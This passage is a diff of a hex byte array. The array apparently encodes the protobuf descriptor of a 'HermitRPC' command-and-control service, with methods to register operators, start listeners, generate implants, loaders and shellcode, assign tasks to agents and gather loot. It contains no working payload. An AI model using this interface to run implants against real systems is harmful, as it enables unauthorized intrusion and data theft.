0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x32, - 0x0a, 0x0f, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x47, 0x65, 0x74, 0x42, 0x79, 0x49, - 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, - 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x22, 0x00, 0x12, 0x36, 0x0a, 0x0e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x47, 0x65, - 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0x00, 0x30, 0x01, 0x12, 0x35, 0x0a, 0x0d, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x72, 0x70, - 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x1a, 0x11, 0x2e, 0x63, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x61, 0x65, 0x73, 0x49, 0x56, 0x12, 0x1c, 0x0a, 0x09, 0x73, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0x38, 0x0a, 0x04, 0x54, 0x61, 0x73, + 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x61, 0x73, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x74, 0x61, 0x73, 0x6b, 0x12, 0x1c, 0x0a, 0x09, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x4e, + 0x61, 0x6d, 0x65, 0x22, 0x3c, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x61, + 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x61, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x6c, + 0x74, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x6c, 0x74, 0x65, + 0x72, 0x32, 0xd8, 0x0b, 0x0a, 0x09, 0x48, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x52, 0x50, 0x43, 0x12, + 0x30, 0x0a, 0x08, 0x53, 0x61, 0x79, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, - 0x00, 0x12, 0x36, 0x0a, 0x11, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x42, 0x79, 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x35, 0x0a, 0x10, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x42, 0x79, 0x49, 0x64, 0x12, 0x0c, 0x2e, + 0x00, 0x12, 0x32, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, + 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x38, 0x0a, 0x10, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, + 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, + 0x3b, 0x0a, 0x14, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x42, 0x79, 0x55, 0x75, 0x69, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x55, 0x75, 0x69, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x32, 0x0a, 0x0f, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x47, 0x65, 0x74, 0x42, 0x79, 0x49, 0x64, 0x12, + 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x0f, 0x2e, + 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0x00, + 0x12, 0x36, 0x0a, 0x0e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x47, 0x65, 0x74, 0x41, + 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x22, 0x00, 0x30, 0x01, 0x12, 0x35, 0x0a, 0x0d, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, + 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, + 0x36, 0x0a, 0x11, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x42, 0x79, 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x49, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x35, 0x0a, 0x10, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x42, 0x79, 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x37, + 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x42, 0x79, 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x49, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x39, 0x0a, 0x14, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, + 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, + 0x22, 0x00, 0x12, 0x49, 0x0a, 0x1a, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x50, 0x61, + 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x16, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x32, 0x0a, + 0x0f, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x47, 0x65, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x0f, + 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x22, + 0x00, 0x12, 0x36, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x47, 0x65, 0x74, + 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x22, 0x00, 0x30, 0x01, 0x12, 0x43, 0x0a, 0x16, 0x50, 0x61, 0x79, + 0x6c, 0x6f, 0x61, 0x64, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, + 0x6f, 0x61, 0x64, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x1a, 0x10, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, 0x12, 0x41, + 0x0a, 0x15, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, + 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x1a, 0x10, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, + 0x00, 0x12, 0x47, 0x0a, 0x18, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, + 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x1a, 0x10, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, 0x12, 0x34, 0x0a, 0x0f, 0x41, 0x67, + 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, 0x79, 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, - 0x12, 0x37, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x42, 0x79, 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x39, 0x0a, 0x14, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, - 0x67, 0x65, 0x22, 0x00, 0x12, 0x49, 0x0a, 0x1a, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, 0x79, - 0x49, 0x64, 0x12, 0x16, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x12, 0x2c, 0x0a, 0x0c, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x47, 0x65, 0x74, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x0c, + 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x22, 0x00, 0x12, 0x30, + 0x0a, 0x0b, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0c, + 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x22, 0x00, 0x30, 0x01, + 0x12, 0x35, 0x0a, 0x0d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x36, 0x0a, 0x12, 0x54, 0x61, 0x73, 0x6b, 0x53, + 0x65, 0x74, 0x42, 0x79, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x0b, 0x2e, + 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, - 0x32, 0x0a, 0x0f, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x47, 0x65, 0x74, 0x42, 0x79, - 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, - 0x1a, 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x22, 0x00, 0x12, 0x36, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x47, - 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x22, 0x00, 0x30, 0x01, 0x12, 0x43, 0x0a, 0x16, 0x50, - 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x50, 0x61, - 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x1a, 0x10, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, - 0x12, 0x41, 0x0a, 0x15, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, - 0x72, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x72, 0x70, 0x63, 0x70, - 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x1a, - 0x10, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, - 0x79, 0x22, 0x00, 0x12, 0x47, 0x0a, 0x18, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, - 0x17, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x1a, 0x10, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, 0x12, 0x34, 0x0a, 0x0f, - 0x41, 0x67, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, 0x79, 0x49, 0x64, 0x12, - 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, 0x1a, 0x11, 0x2e, + 0x38, 0x0a, 0x14, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6c, 0x65, 0x61, 0x72, 0x42, 0x79, 0x41, 0x67, + 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x0b, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, + 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x37, 0x0a, 0x13, 0x54, 0x61, 0x73, + 0x6b, 0x4c, 0x69, 0x73, 0x74, 0x42, 0x79, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x0b, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, - 0x22, 0x00, 0x12, 0x2c, 0x0a, 0x0c, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x47, 0x65, 0x74, 0x42, 0x79, - 0x49, 0x64, 0x12, 0x0c, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x49, 0x64, - 0x1a, 0x0c, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x22, 0x00, - 0x12, 0x30, 0x0a, 0x0b, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x0c, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x22, 0x00, - 0x30, 0x01, 0x12, 0x35, 0x0a, 0x0d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4c, - 0x69, 0x73, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x36, 0x0a, 0x12, 0x54, 0x61, 0x73, - 0x6b, 0x53, 0x65, 0x74, 0x42, 0x79, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x0b, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x11, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, - 0x00, 0x12, 0x38, 0x0a, 0x14, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6c, 0x65, 0x61, 0x72, 0x42, 0x79, - 0x41, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x0b, 0x2e, 0x72, 0x70, 0x63, 0x70, - 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x37, 0x0a, 0x13, 0x54, - 0x61, 0x73, 0x6b, 0x4c, 0x69, 0x73, 0x74, 0x42, 0x79, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x0b, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x1a, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, - 0x67, 0x65, 0x22, 0x00, 0x12, 0x2e, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x47, 0x65, 0x74, 0x41, - 0x6c, 0x6c, 0x12, 0x0b, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, - 0x67, 0x65, 0x22, 0x00, 0x12, 0x38, 0x0a, 0x14, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6c, 0x65, 0x61, - 0x72, 0x42, 0x79, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x0b, 0x2e, 0x72, - 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x42, 0x5c, - 0x0a, 0x1e, 0x6f, 0x72, 0x67, 0x2e, 0x68, 0x64, 0x6b, 0x73, 0x2e, 0x68, 0x65, 0x72, 